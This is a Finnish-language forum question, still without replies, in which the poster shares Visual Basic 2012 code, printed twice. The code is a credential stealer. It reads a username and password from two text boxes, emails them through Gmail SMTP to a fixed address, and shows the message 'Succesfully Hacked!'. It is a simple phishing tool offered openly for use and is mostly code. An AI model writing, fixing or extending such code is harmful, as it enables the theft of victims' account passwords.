Siinä ois mun koodi:
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("[email protected]")
MyMailMessage.To.Add("[email protected]")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("[email protected]", "MyPassword")
SMTP.Send(MyMailMessage)
MsgBox("Succesfully Hacked!")
Catch ex As Exception
End Try
End Sub
Teen tätä siis visual basic 2012
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("[email protected]")
MyMailMessage.To.Add("[email protected]")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("[email protected]", "MyPassword")
SMTP.Send(MyMailMessage)
MsgBox("Succesfully Hacked!")
Catch ex As Exception
End Try
End Sub
Teen tätä siis visual basic 2012
Vastaukset
Vanhimmat
Ei vielä vastauksia
Aloittaja odottaa vastauksia. Kerro oma näkemyksesi ensimmäisenä.